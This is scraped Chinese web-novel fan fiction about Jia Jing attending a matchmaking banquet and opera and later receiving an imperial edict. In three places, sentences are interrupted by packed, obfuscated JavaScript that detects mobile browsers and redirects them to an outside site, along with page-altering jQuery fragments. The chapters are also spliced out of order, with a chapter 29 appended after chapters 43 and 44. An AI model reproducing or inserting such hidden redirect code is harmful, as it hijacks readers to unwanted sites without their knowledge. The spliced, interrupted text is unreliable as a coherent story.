他刚要放下帘子,准备在马车上多一会儿,谁知史云棠忽然转过身,对他招手, “阿元,下来啊。” 马车旁的二狗连忙从外撩起帘子,贾敬看了他一眼,收回手,弯腰下了车。 这下了车,贾敬才发现,原来那些夫人们身后,竟然还跟着几位亭亭玉立、执着扇子的姑娘。 心中悔意更甚,他今日就不该来! 大乾男女七岁不同席,男宾应该都去马球场那边了,而自己手伤,却是跟史云棠一起,可不就是凑女宾这来了吗? 史云棠:“阿元,还不来见过几位夫人。” 宁国府虽史云棠掌家,可她毕竟年轻,在场这些夫人算起来,都比史云棠和贾敬大上一辈儿。 贾敬顶着被几位夫人眼神吃了的可能,身体有些僵硬的上前。 “见过各位夫人。” “哎呦,这就是你们府上的二爷吧?当真是少年英才!” “不愧是你们宁府的公子,果真不一般!” “这相貌,就是探花郎也当得!” 对于贾敬这位刚中进士便得到圣上奖赏授官的年轻儿郎,这些夫人眼里都冒着光,嘴里不断冒出的夸赞,让史云棠很是高兴,嘴角都未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14196094|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下过。 而那些夫人身后的年轻小姐们,眼神倒是收敛含蓄许多,可到底好奇,拿扇子遮掩,悄悄打量着贾敬。 贾敬招呼完,就后退几步躲到了史云棠身后,眼观鼻,鼻观口,闭嘴不言。 史云棠也知道够了,再过分,就要把贾敬吓跑了,给旁边一个夫人使了眼色。 那夫人正是理国公府的二太太,连忙道:“快别站着了,都随我进去吧。” 史云棠同几位夫人走在最前面,贾敬没立即跟上,而是等那些年轻小姐们都走了,他才迈步走在最后面。 贾敬甚至没有跟得紧凑,百无聊赖的在后面缀着。 一路走到今日听戏的地方,贾敬这才看出了些门道。 理国公府这戏台子搭得巧妙,于他家园中湖边水榭处,搁着湖,两边设座,倒是直接分了两处席位。 一头是官客,即男宾,一头是堂客,即女宾。 堂客那边远远瞧着,已然到了许多夫人小姐,而官客那儿,也让贾敬有些讶然,居然也坐了小半的人,也多是年轻公子们。 没去马场打马球,全来这儿听戏了? 史云棠回头,嘱咐道:“阿元,听你冯婶子说,阙哥儿在那头坐着,你去找他玩儿?” 她口中的冯婶子,便是刚刚那位理国公府的二太太,而阙哥儿便是她的儿子,理国公府二房的公子,也是贾敬觉得,理国公柳家难得斯文之人。 贾敬颔首,表面自己知道,便迈步朝官客那边的座儿走去。 还未走近,就见一个和他年纪相仿的青年朝自己挥手,正是柳阙。 “培元,这里!” 贾敬走到柳阙身旁,目光落在他旁边的空座上,语气熟稔,“给我留的?” 柳阙:“肯定啊,来,赶紧坐。” 贾敬坐下,抬眸看去,正对着戏台,一览无余。 好座啊。 “还是你小子会享受。”贾敬感慨一声。 柳阙先是乐呵一笑,随后像是想到什么,脸上笑意便垮了,“所以被我娘唠叨死。” “我虽喜好书画风月,可真不是科举的料啊。”他看向贾敬的目光带这些羡慕,“怎的这次考这样好了?” 贾敬斜了他一眼,“我哪次考得不好?” 柳阙一哽,撇嘴嘟囔,“我娘还逼我考呢……” “算了,不这些烦心事。”他说着手一挥,仿佛能将这些烦恼全部给挥走。 贾敬也识趣,换了个话题,下巴朝旁边坐着的一些人抬去,问道: “你不爱马球,坐这听戏,正常,这些个儿,怎么今日也都坐这儿了?” 柳阙见贾敬这么一问,也来了兴致,神秘一笑,“你猜今日的戏,请了谁?” 看他这样,贾敬便知道,肯定是请了什么名角。 可他自己本就不好听戏,这记忆隔了几十年,他哪里知道京城如今的名角是谁? “说吧,你知道的,我不关心这些。” 柳阙也没卖关子,“今日请的是崇雅堂的台柱名角儿,水青,人称青老板。” 贾敬没什么兴趣,也只是点点头。 柳阙见状,凑到他耳边,悄声说道:“他可不是一般人,听闻,齐王对他,追得紧呢。” 贾敬原本半阖慵懒的眼眸瞬间一利。 齐王,萧淮洵。 是了,他想起来了,这位未来的忠顺王爷,可不就喜欢戏子吗? 43.第 43 章 若不是忽然柳阙提起,贾敬恐怕都要忘了这件事。 从前朝起,无论是勋贵还是民间,都有好男之风,甚至前朝那位昏庸无度的末帝,竟差点儿立了一位男皇后。 此事在当时可谓是震惊朝野,引得天下哗然。 因此,待大乾建立后,太祖皇帝因吸取前朝教训,明令禁止朝中官员涉足此道。 然而民间好男风的风气存在已久,短时间内难以消除。 待太祖皇帝驾崩后,继任的圣上,也未在意过此事,口子便渐渐放开了。当下好男之风,虽没有前朝那般放肆,但也从未消失,暗潮涌动。 如今许多权贵子弟,更是以此为乐,京中小倌馆也是越来越多。 而齐王萧淮洵,便尤好男风。 贾敬记得上一世的时候,萧淮洵早些年不曾表露过,想来和他想要争嫡有关,顾忌名声。 后来萧淮洵转头支持三皇子萧淮泽。他押注萧淮泽成功,也从齐王加封为忠顺王,有了这层功劳,他也不藏着掖着,明目张胆起来。 贾敬后来虽不怎么问事,也听说忠顺王爷酷爱听戏,养了一群戏子,他捧得那位是戏班里的名角儿,是个乾旦。 作为有从龙之功的新帝皇兄,谁也不能指摘了去。 那时候,大乾的好男之风也愈加兴盛,多是如此,便更无人去说了。 而萧淮洵整日与戏子小倌一起厮混,反而降低了新帝萧淮泽对他的忌惮。 贾敬原本认为,好男风、捧戏子,这是萧淮洵故意所为,就是为了迷惑新帝,向新帝表忠心,表示他不会有什么谋逆之心。 可方才柳阙那番话,却让贾敬心中的想法有了一丝动摇,事实好像与他知道的情况有些出入。 他本以为萧淮洵将此事捂得很严,如今看来,大抵是自己先前不曾留意过。 就连柳阙都知道,萧淮洵追那位青老板追得紧。 虽说现在不乏公子少爷们泡戏班子,重金捧角儿,可大多数是玩玩寻乐子,上不得台面,顾忌脸面的人也都是藏着。 萧淮洵居然将此事漏了出来? 贾敬故意表现出兴趣,轻声柳阙道:“齐王和这青老板的事情,你们都知道?” 柳阙嘿嘿一笑,眼神得意,“这事儿知道的人不多。” 他算一个。 “我敢说,这全场在座的,也没几个知道。” 贾敬桃花眼一挑,半信半疑地瞧着柳阙。 柳阙脖子一梗,“你不信小爷的人脉?” 文雅面庞透露出的那一抹不逊神情,让贾敬丝毫不怀疑他是柳家人。 贾敬哂笑,“哪有,我只是好奇罢了。” 果然,萧淮洵还没胆子大到那样的地步,在天丰帝眼皮子底下,这么放肆。 天丰帝虽然没像太祖皇帝那样,严令禁止男风,可也不代表,他允许他自己的皇子们沾上这些。 私下里,睁一只眼闭一只眼也就罢了,若是敢放到台面上…… “那这些人呢?”贾敬下巴一勾。 柳阙随意瞥了旁边,“人家可都是冲着青老板的名气来的。” “知道我家这次请他来,花了多少银子吗?”柳阙还顺道阴阳了一句,“也是,你贾二爷向来不关注这些,一心只读圣贤书。” 听得出,冯婶子没少因为贾敬高中进士来念叨柳阙,这怨气扑面而来。 贾敬还真的谈不上一心只读圣贤书,勋贵子弟们的吃喝玩乐,他一样也没落下,只是没那么过分罢了。 他也不在意柳阙的话,接着套话。 “所以,你们府上今日是为何办这宴席?” 贾静原本以为只是一个寻常宴会,来了才发现,这里面的不寻常。 譬如,这重金请的戏班。 柳阙闻言先是一愣,紧接着目光在贾敬面上巡视一圈,确定他是真不知道这次宴席的目的后,眼里滑过一丝复杂。 “你真不知道今天是为了什么?” 贾敬:? 柳阙没好气道:“你不知道你跑来做什么?” 贾敬扯了扯嘴角,“我嫂子硬拉着我来的。” 他嫂子是为了拉他出来相看的,虽然他就是来走个过场。 贾敬眼眸微睁,“这是个相看的宴席吧?年轻公子小姐不少,我嫂子大抵是喊我来相看的,不过我没那个心思。” 柳阙像是看出贾敬的敷衍,心中不禁起了一丝愤懑,眉头蹙了起来,可又想起贾敬不知道这中间缘由,还是沉声解释道: “今日这场宴席,是为了给我大妹妹相看的。” 贾敬眼眸中闪过一抹诧异。 那今日这宴席果真不一样。 他还只当是一般的相看宴,少男少女们给个话头见见。 没想到,居然是特地为理国公府大小姐准备的相看宴。 柳阙抿了抿唇,家中长辈的意思他知晓,挺看好贾敬的。 今日瞧见贾敬来,他还挺高兴的,想着贾敬做他妹夫,也不错。却没想到,人家根本没那个心。 贾敬见状,无奈叹了口气,有些尴尬,解释道:“我还真不知道这件事,我嫂子可没与我说。” 史云棠若是说了,他肯定不会来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14200012|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳阙硬声道:“你也别多想,又不是只请了你一人。” 柳阙的目光扫视全场,“这全场男子,都是,全看我大妹妹心意。” “我大妹妹还不一定看上你呢。” 柳阙阴阳怪气的气话,贾敬并不放在心上。他疼爱他大妹妹,贾敬也知道。 贾敬无言,他只觉得额角有些疼。 这都叫什么事儿啊? 不过贾敬也是彻底明白了,兄嫂二人想要他娶妻的决心。 这么一想,他更头疼了。 他这样的情况,哪里适合成婚了?简直是害人。 贾敬半阖着眼,目光无意识地落在正前方的戏台上,沉思着。 两人一时无言。 坐他一旁的柳阙则是面上闪过一丝懊恼,知晓自己刚才对贾敬的那番话是有些过了。 强扭的瓜不甜,更何况,贾敬也是不知情的,自己刚才明明就是迁怒。 柳阙张了张嘴,神情带着些别扭,深呼吸一口气,刚准备开口说什么, “噔噔呛,噔噔呛……” 一阵紧锣密鼓的声音从戏台上响起,传遍四周,周围嘈杂声如潮水褪去,一片寂静。 戏,开场了。 贾敬闻声,抬了抬眼皮,朝戏台子上看去,只见随着鼓点声,一群宫娥提灯缓步入场。 紧跟着的便是一位头顶大凤冠的宫妃。手执牡丹折扇,艳丽的面容在折扇后若隐若现。 原来是一出贵妃醉酒。 折扇收拢,贾敬对上了折扇后的那双媚眼,顾盼神飞,妩媚多情。 这双眼的承托下,更显得那张脸姣好可人。 这位“贵妃”的出场,令全场众人的呼吸都轻了几分,众人目光也都跟着那一人转。 待一折戏唱罢,许多人都没立刻回过神来。 青老板下了台后,贾敬才回过神来,不禁暗自点头,这位“青老板”不愧是京中的名角儿,在戏台上仿佛能摄魂一般。 不知谁感慨了句: “青老板的风姿……今日可算是见着了,无憾了。” “这样的神仙人物,若是能跟我回家……” “切,想什么呢?且不说他的身价,就你老子的脾气,你随便领个小戏子回去,都能让你掉层皮。” “玩玩就得了,可别当真,你可别忘了今日是来干嘛的,要是坏了事,小心回家没得交待。” 今日多数是来相看未来夫人的,可不能因为这些个人儿,坏了大事。 贾敬听了这话,眼眸闪过一丝光,若有所思的望着戏台,久久不言。 44.第 44 章 “如何,青老板可将你迷住了?” 柳阙其实一直观察着贾敬的神情,生怕方才那番话真的惹恼了他,毕竟宁国府的贾二爷脾性也算不上多好。 见贾敬仿佛没什么怒色,眼睛一眨不眨地听着戏,柳阙松了口气,调侃的话随口冒了出来。 话说出口,柳阙就想拍自己的嘴巴,怎么就管不住嘴呢? 谁不知道,贾二爷最不爱这些。 下一瞬,柳阙惊的张大了嘴巴,只见贾敬慵懒地点了点头,“确实不错。” 贾敬那双半敛着的桃花眼瞥了眼凑在自己旁边的柳阙,揶揄道:“你小子吃得挺好。” 柳阙则是跟见了鬼一样望着贾敬,连说话都结巴了,“你认真的?” 贾敬似笑非笑地勾起一抹笑,没有回答。 柳阙见状,更加迷糊了。怎么一段时间不见,贾敬就喜欢打哑谜了呢? “你……” “大爷,出事了!”一个身着理国公府奴仆装的小厮小跑到了柳阙身边,打断了柳阙的话。 柳阙不悦皱眉,“什么事?” 小厮下意识地瞧了贾敬一眼,贾敬刚巧抬眸,那双贵气淡然的眸子却让小厮心下一紧,连忙低下头去。 他俯身到柳阙耳边,轻声说了什么。 贾敬注意到,柳阙的脸色瞬间变得极为难看,便猜到肯定是发生了什么要紧的事。 柳阙语气生硬,“培元,招待不周,失礼了。我还有事,先行一步,下次再单独约你赔罪。” 说完丢下这句话,便带着那名小厮匆匆离去。 贾敬跟着柳阙离开的方向看去,像是理国公府今日组织打马球的地方。 收回目光,贾敬再次慵懒地缩回圈椅中,长腿一曲一直随意放着,长袍垂落,他百无聊赖地听着台上咿咿呀呀的戏。 贾敬的眼皮也逐渐耷拉,时不时地便黏在一起。 他果然还是不喜欢听戏。 除了方才那位青老板的戏勾住了他,其余的戏,唱得直叫贾敬犯困。 “二爷。” 小厮阿禄悄声走到贾敬跟前,轻声唤着阖眼不知是睡是醒的贾敬。 “有事?”贾敬并未睁眼,问道。 阿禄连忙道:“大太太说,府里有急事,请您过去,同她一道家去。” 贾敬缓缓睁开眼,目光朝不远处看去,那里钗裙环翠,站了好些位女眷,也像是要辞行离开。 据他所知,今日贾敷应当没有任何应酬,就在家中。若是府上有事,贾敷便能处理了,何须这么急喊史云棠回去? 想来史云棠唤他回府,应当是和刚刚柳阙匆忙离开有关。 “嗯,走吧。”贾敬站起身,朝史云棠的方向走去。 这路刚没走几步,贾敬像是注意到什么,回首望了望,只见身后只有阿禄一人,问道: “二狗呢?” 阿禄一惊,连忙朝身后看去,原本紧跟在他身后的二狗,早已看不见踪影。 “二爷,小的的错,小的这就去找他!” 今日理国公府,请了许多贵人,若是二狗冲撞了什么人,丢的就是他们宁国府的脸。 “不用了,我看见他了。”贾敬抬手制止,抬着下巴朝前方扬了扬,阿禄顺势看过去,就见二狗佝偻着腰,急匆匆地从远处小跑着过来。 贾敬这边刚出了坐席,二狗也来到了贾敬面前,阿禄一个上前,用力扯了二狗一下,训斥道: “不是让你跟我我吗?谁允许你乱跑的?” 二狗不断弯腰作揖,“阿禄哥,小的错了,小的错了。” 他满脸涨红,显得无措的紧,“这人有三急……” 这等事儿摆在贾敬这样的主子面前说,二狗羞得都快找个坑里钻进去了,若是二爷把他退回去…… 二狗脸色瞬间由先前的红变得煞白,声音也小的跟蚊子一样,连讨饶都不敢说出口。 “人之常情,无事。”贾敬抬抬手,“回府吧。” 贾敬这厢刚领着二小厮走到园中道上,便听见史云棠的声音: “他们理国公府拿咱们府当什么了?有他们这么做事的……” 史云棠便手执着扇子走来,贾敬第一时间注意到史云棠较平日里快上许多的步子,难掩怒色的脸,手中扇子不断地扇动,像是想要扇走她心中的怒火。 “太太,二爷来了。” 史云棠的话没说完,就被身边的大丫鬟提醒了一句,她见贾敬确实到了跟前,瞬间将口边的话咽了回去,深呼吸一口气,装作无事,扯了扯嘴角,“阿元来了?” 贾敬眼尾轻瞥了眼四周,很快收回目光,“是,听闻府里有事,那我们便先回吧。” 史云棠未尽之言,以及他刚刚那一瞥所看到的,园中好几处都人员攒动,步履匆匆,心中也知晓,史云棠说府中有事是个离开的幌子,想来有事的,是理国公府,柳家。 贾敬随着史云棠很快离开了理国公府,路上史云棠什么也没跟贾敬说,贾敬也没问。 只是待贾敬上了马车后,帘子被稍稍撩起,帘外坐着的是跟车的二狗。 “嗯?”贾敬哼了声,意为何事。 二狗纠结了一瞬,最终还是忐忑地开口,将他在理国公府如厕时,无意听见的事儿,禀告给了贾敬。 “小的方才净手出来,路过了马球场,在那边看见了些事儿。” 贾敬颔首,示意二狗接着说,他猜也是马球场那边出了事,但观史云棠,此事好像还和他们宁国府也有牵扯。 二狗:“理国公世子和一个人打起来了。” 贾敬:“那人什么身份可知道?” 二狗点头:“小的刚好看见他们将人拉开,是穿了一身戏子服,瞧着是个武生。” 贾敬桃花眼微睁,眼里划过一丝讶然和玩味。 理国公世子柳阑与他并不相熟,但脾性贾敬还是知晓的,是理国公一脉相成的暴脾气,可贾敬也没玩玩没想到,柳阑会如此不顾身份,居然跟一个戏子打架? 是和武生切磋,结果过了火? “知道原因吗?” 二狗摇头,“小的这就不知了。” 贾敬也不指望一个小厮就能将这里面的事情弄明白,尤其是对于理国公府来说,这样不光彩的事。 只是…… 贾敬看着二狗那低眉顺眼一幅老实样,脸上闪过一抹笑意。 他果然没看错人,瞧着老实,眼耳倒是灵光的很。 回了府上,史云棠明显情绪平复了许多,领着贾敬刚回了花厅,贾敷便到了。 “夫人,怎么这么快便回来了?” 贾敷也没料到史云棠会这么快回来。 史云棠抬手,看了贾敬一眼道:“正要说此事呢。” 几人坐下,史云棠便对贾敬道:“阿元,事到如今,嫂子也不瞒你了。” “今日我们前去理国公府,是他们府上特地相邀,有意让你与他府上大姑娘相看的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240393|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “先前不与你详说,也是怕你知道,会不自在。”史云棠声音里透露着些歉意。 贾敷也讪讪地看着贾敬,没告诉阿元,他也心虚啊。 贾敬早已经在柳阙那边知晓了此事,也知道是兄嫂为自己操心,自然也不会真的因为这件事生气。 “可是谁知道,他们理国公府居然如此欺负人!”史云棠的声音陡然拔高,方才压下去的怒气又窜了出来。 贾敷连忙为史云棠倒了杯清茶,轻声哄着,“夫人吃口茶消消气,不值当这般生气,当心身子。” 他虽不知道发生了什么事,可也不能让史云棠这样生气,怒气伤肝,连累的是自己的身子。 史云棠猛地喝了口茶,“咱们两府从老太爷那辈起就有的交情,这么缺德事情,他们也干的出来?” “他们府上那位柳大姑娘,早就芳心暗许,有心仪的人了!” “是他们府上老爷夫人不满意,没看上人家,这才急着要他家姑娘来和咱们家阿元相看。” 贾敷一愣,没想到居然是这么一会儿,他还真不知道这回事。 贾敬听了,则是心中一乐,柳家大姑娘居然已经有了心仪之人,这多好啊。 反正他也没有和这位柳大姑娘相看的心思。 可史云棠不知道贾敬心意,反而被理国公府这样隐瞒情况而气得不清。 贾敷虽也生气理国公府的隐瞒,可还是劝道:“宁拆十庄庙,不毁一座婚,到底是他们无缘。” “且说他们理国公府,想找出与他家家世相配的,京城也没几家了,世伯要求如此之高?” 谁知越劝,史云棠越气,手都颤抖了起来,“若真是如此,我也不会这么计较气恼了!” “虽说现在讲究父母之命,媒妁之言,小儿女有其他心思,也能理解。” “可他们简直太过分了!” 贾敷和贾敬对视一眼,心中疑窦四起,到底是什么事情是他们不晓得的。 “那柳家大姑娘,瞧上的是一位戏子!今日甚至厚着脸皮进了府。” 至于进府做什么,也不必说了,自然是为了与柳大姑娘私会。 贾敬这么一听,又想起二狗说的马球场那件事,理国公世子柳阑与一个戏子大打出手,缘由是出在这儿了。 官宦家的小姐,瞧上了一位贱籍的武生戏子,怎么看,都是场孽缘呐! 时下有条不成文的规矩,良贱不得通婚,更何况是国公府的大姑娘? 所以,理国公府当发现这事儿后,就连忙想帮柳大姑娘相看,这一看,便觉得贾敬怎样都合适,还托了荣国府史氏来说情,史云棠这才忽悠着贾敬,让其跟她去柳家赴宴。 理国公府这次确实广邀了许多家,可醉翁之意也只在贾敬身上,这是柳家那边明确说与史云棠的。 可谁知道,居然在宴席上发生了这样的事! 史云棠不忿,“他把咱们府当什么?又把咱们阿元当什么?” 简直是在打他们家的脸! 贾敬望着自家嫂子气红的脸,知道嫂子是为自己打抱不平,可这事儿吧…… 不说那柳大姑娘是什么心思,其实他自己也没相看的心思。 贾敬扯了扯嘴角,哄着自家嫂子,“嫂子,咱们就当不知道这回事,只当是去吃了个席,听了场戏。” “这其他人又不知道这些,我也不觉得有什么。” 要贾敬说,他还挺佩服这位柳大姑娘,甚至心里有些触动。 第29章【VIP】 第29章 忍冬双手捧上一抹明黄, 圣旨! “贾敬接旨!” 贾敬眼里难掩诧异,通过萧淮川的话,他大抵能猜出天丰帝应该做出了决断, 萧淮川提前知晓,授官任命不久就会下达。 可他万万没有想到,竟然会是天丰帝的圣旨, 这肯定是萧淮川从中做了什么! 贾敬下意识朝萧淮川看去, 目光撞进萧淮川宛如揉碎星子温柔的眼眸, 萧淮川对贾敬轻微点头, 贾敬明白他的意思。 有他在,一切放心,别怕。 贾敬深吸一口气, 稳住剧烈跳动的心, 缓缓跪下,院内众人皆跪迎旨。 “维大乾盛世,英才辈出,社稷之福, 今有新科进士贾敬,才兼文武, 近日剿匪之战中, 英勇决绝…… ……堪为天下之表率, 朕心甚慰, 嘉其德才兼备, 兹特授予贾敬正七品翰林院编修之职……鉴于贾敬在剿匪过程中负伤, 特准许其伤愈后再赴任履新, 期间一切俸禄待遇, 悉数照发……特颁此诏, 昭告天下,钦此。” 洋洋洒洒一大段,内容是肯定了贾敬此次剿匪之功,为其正名。 贾敬脊背挺直,目光沉稳,静静地听着圣旨,可他的心海早已经翻涌。授官入仕,两辈子,他终于走到了这一步。 天丰帝所颁之内容,即在意料之中,也在意料之外。无论是授官翰林院,还是“剿匪”的功劳,皆是贾敬这些时日所谋划,而如今,是他预想的最佳结果。 贾敬知道,得到这样一份圣旨,这里面有自己的谋算,背后萧淮川肯定也是出了力。 而贾敬之所以坚持如期举办庆祝宴,就是为了让想要拖延的天丰帝不得不尽快做出决断。 这次庆祝宴请的是四王八公,各家勋贵,而自己科举取士,剿匪有功,若是这都不给予奖赏,这些个勋贵又会怎么想? 至此走到这一步,天丰帝是必须要赏给贾敬些东西,官位要给,功劳也要认,既然都要给,何不做的漂漂亮亮? 那么便给足贾敬和宁国公府的面子,授官,奖功,就当着这群四王八公勋贵们的面儿,明摆着告诉他们,圣上还念着他们的好。 贾敬的庆祝宴,就是最合适的地方。 果然,让贾敬等到了。 一旁的何清睁大眼睛死死盯着那抹明黄,面色陡然大变,若不是低垂着头,少不得一个失仪之罪。 真的是圣旨!圣上竟然下了圣旨! 以何清得到的消息,圣上在这件事上明明很是犹豫,那些子勋贵平日里气焰已然是很高了,可没想到,圣上竟然还愿意添上一把火…… 而跪在贾代善身后那群来参加的老亲们,脸上是压抑不住的喜色。他们今日也都是悬着心来的,想试探试探圣上的意思。 现如今圣上这旨诣一下,瞬间安了这群人的心,多数人为贾敬高兴的心也多了几分真意,心中想着待会儿怎么攀攀交情。 “臣贾敬接旨,今后定当勤勉尽责,精研学问。” 贾敬不管其余人是如何想的,他自己恭敬谢恩,缠着纱布的手朝上,准备接旨。 可忍冬哪里能让贾敬受伤的手去接旨,贾敷见状,连忙替贾敬接过。 贾敬刚准备起身,胳臂一热,被人扶住,贾敬眼眸一扫,修长的手指骨节分明,是他熟悉的那只手。 他稍稍抬眼,对上萧淮川的眼眸,弯了唇角,“谢殿下。” 贾敬并未拒绝萧淮川的搀扶,一来萧淮川是储君,拒绝会抹了萧淮川的面子;二来,萧淮川既然亲临府邸,不仅是君恩浩荡,更是贾敬向世人宣告他们关系亲密的机会,又怎么错过? 他会坚定地站在萧淮川的身边,不论是什么身份。 众人起身后,贾代善瞥了眼不吭声的何清,阴阳怪气道: “何大人,圣上圣旨已下,我家敬哥儿是圣上亲赐官身,更是此次的剿匪的功臣,令郎侮辱朝廷命官和功臣一事,该如何处置?” 何清闻言,脸上肌肉抽搐了一下,显然恶心和恼怒于贾代善的直白。看来今日,贾代善是不会善罢甘休了。 何清毕竟是只久经官场的老狐狸,嘴角挂着一丝勉强挤出的笑,看似伤心和为难, “荣国公,您言重了。犬子此次确实是行事鲁莽,冒犯了贾二爷,您放心,我定会对他严加管教。” 论起何清的地位,本不需要跟贾敬如此客气,更不需要唤他“二爷”,可谁让他那个嘴上不把门的儿子得罪了人家呢? 自然是要客气些。 贾代善眯了眯眼,故意没有开口,以他对何清的了解,不会就此妥协,他就想听听何清还能厚着脸皮说出什么话来。 下一瞬,何清开口:“国公爷,都是孩子们之间的玩闹,偶尔有些摩擦也在所难免,还望您大人大量,不必太过计较。” 何清还想将大事化小,小事化了。 贾代善冷冷一笑,眼中闪过一丝寒芒,“何大人,您这话未免太轻描淡写了。” “令郎不仅出口侮辱,还动手伤人,这种行为,岂止是摩擦那么简单?” 想那么容易揭过去?没门! 而有了圣上态度的定心骨,其他老亲们也都直起了腰杆,纷纷附和,他们说话就要比贾代善直白难听多了: “何清,你是欺负宁国府无人吗?代化兄虽亡故,我们这些叔伯还站在这儿,不会让你们将敬小子欺负了去!” 这句话是镇国公牛清所说。 “忒怂,敢做还不敢当,我老柳瞧不上你!”这话是理国公柳彪所说,人如其名,确实“彪”的很,和“理国公”的爵位放一起,更觉得有意思了。 “这事不能善了,老夫不答应!” “……” 旁边一群人七嘴八舌的讨伐何清,在何清看来,明明是一帮子鲁莽武将,愣是整出了舌战群儒的模样,一句句宛如利箭,精准戳进何清的心里,正中要害,吵得何清头都要炸开了。 惹上这帮人,何清有种捅了马蜂窝的感觉,急的他觉着自己已经被马蜂锥了满头包,又麻又胀又疼。 何清忍着跳动的额边青筋,目光忽的转向一旁不说话的贾敬,恍然,突破口应该放在这位正主身上,毛都没长齐的小子,总不能比那帮莽夫还难说话吧? 何清暗自咬了咬牙,朝这个比他小了一辈的年轻后生挤出一抹笑,略带讨好道: “贾二爷,犬子失言,老夫在此致歉,今日到底是您的喜日子,何必将事情闹得那么难看?” 贾敬闻言,掀了掀眼皮,那双冷然的桃花眼盯着何清,像是没听懂何清的话,“何大人是何意?” 此话一出,何清心中都压不住一股气,撇下嘴角,目光沉了沉,丢了句,“贾二爷以后的路还长,咱们低头不见抬头见,当真不给老夫这个面子?” 这话里是毫不掩饰的威胁,在场人都听了出来,何清执掌吏部,正是管理官员升迁考核之事,可以说,掌握一个官员的仕途命运。 萧淮川凤眼眯起,朝何清望去,只是何清现在的注意力在贾敬身上,并未注意到。 “呵。”贾敬轻笑一声,“面子?” “自古有言,礼尚往来,我自然愿意给何大人这个面子,我也不是什么小鸡肚肠的人,并不想将这件事说的太严重,可令郎给了我面子吗?” “在我宁国府的宴席上,口出妄言,大打出手,这就是令郎给我的面子?” 何清怎么也没想到,贾敬会这么直接的将遮羞布撤掉,也没想到贾敬会这么毫不客气和自己杠上。 到底是刚入仕途的黄毛小儿,真的是一点不怕开罪了他,毁了今后的升迁仕途! 何清心中是又气又觉得可笑,心中对贾敬更是多了几分轻蔑,在他看来,今日不过是一场闹剧,没脑子的人想要趁一时之快罢了。 这样不顾后路的报复,何清知道,何长荣今日的惩罚是躲不过了,左右不是什么重罚,丢人了些。 可对比儿子需要受到的惩罚,捏住贾敬乃至他身后这帮人的软肋,对何清来说更加划算。 假以时日报复回去便是,不逞一时之勇。 李玉衡见状,故作不经意道:“这贾培元当真是睚眦必报,没丝毫君子气概!” 身旁几位学子也跟着点了点头,觉得贾敬这样太过小家子气。 宋子虚听不得这话,想要反驳,却被一旁的一人拉了一把,“这局面这样乱,你若是为他好,还是先不要说话。” 宋子虚抬头看去,竟然是薛琼,只见薛琼看向贾敬,语气平稳且坚定,“相信他,可以解决。” 而贾敬当然知道何清的威胁是什么意思。 可是他在乎吗? 他不在乎。 天丰帝把他放在那样的位置上,就是想要他在翰林院冷几年,蹉跎几年,哪里有何清什么事? 至于未来几年后的事,谁又知道会怎么样呢? 何清心中盘算好,也提前默认了何长荣的惩罚,思绪渐渐稳定,对面前这个目中无人的小辈,眼中闪过一丝嘲讽,也起了说教的心思。 “年轻后生,还是不要这般刚强,木秀于林风必摧之,小心刚过易折。” 贾敬不急不慢地微抬起下巴,那双狭长的桃花眼半敛着,就这样冷静淡然地斜睨了何清一眼。仅仅这一眼,仿佛有着千钧之力,瞬间就将何清到嘴边的话语给生生堵了回去。 何清大惊,心道怪哉,待他再看去时,只见贾敬唇角微微勾起,露出一抹看似善解人意的笑, “若是单单看在何大人您的面子上,我尚且可以网开一面,不再追究。然而,他何长荣今日的所做作为,又岂是踩了我的脸皮?” 话至此处,贾敬原本还算平和的的声音陡然拔高,宛如一道惊雷炸响,语气也变得愈发凌厉起来,像是一把把锋利飞刀射出。 “我个人受些侮辱,倒也算不得什么大事。可他肆意妄为,冒犯的乃是我堂堂宁国公府,损了我贾家的声誉和尊严!伤了一心维护我的幼弟!” 贾敬深吸一口气,“倘若我今日轻易放过了他,一来会愧对全力维护我的幼弟;二来更是无颜面对宁国公府列祖列宗们的英灵!” 振聋发聩的话似晨钟一般在众人耳畔回响,随着这番掷地有声的话落下,众人回神,目光纷纷不约而同望向院中那道修长的身影。 一袭华服随风飘荡,衣袂飘飘,而众人不能忽视的,是他那似青竹一般的脊背,宁折不弯。 众人又是一怔,在场的诸位老亲们都不由得对这位年轻后辈刮目相看,心中也多了欣慰和赞许。 小辈里出这样的领军人物,怎能不开心?回去便要叮嘱族中小辈,多和贾敬接触学习。 他们不怕得罪人,却怕软弱无能的人。 贾敬刚才看似得理不饶人,就连其他人也以为,他是气不忿何长荣羞辱了他,可谁也不曾想到,他能忍下这羞辱。 他的坚持和不退让,是为了不能让他的家族,他的祖宗,以及为了维护他出头的幼弟。 年少轻狂,年少自然轻狂,更何况,这份轻狂之中是少年人一片赤忱之心。 贾敬的形象瞬间在众人心中发生了转变。 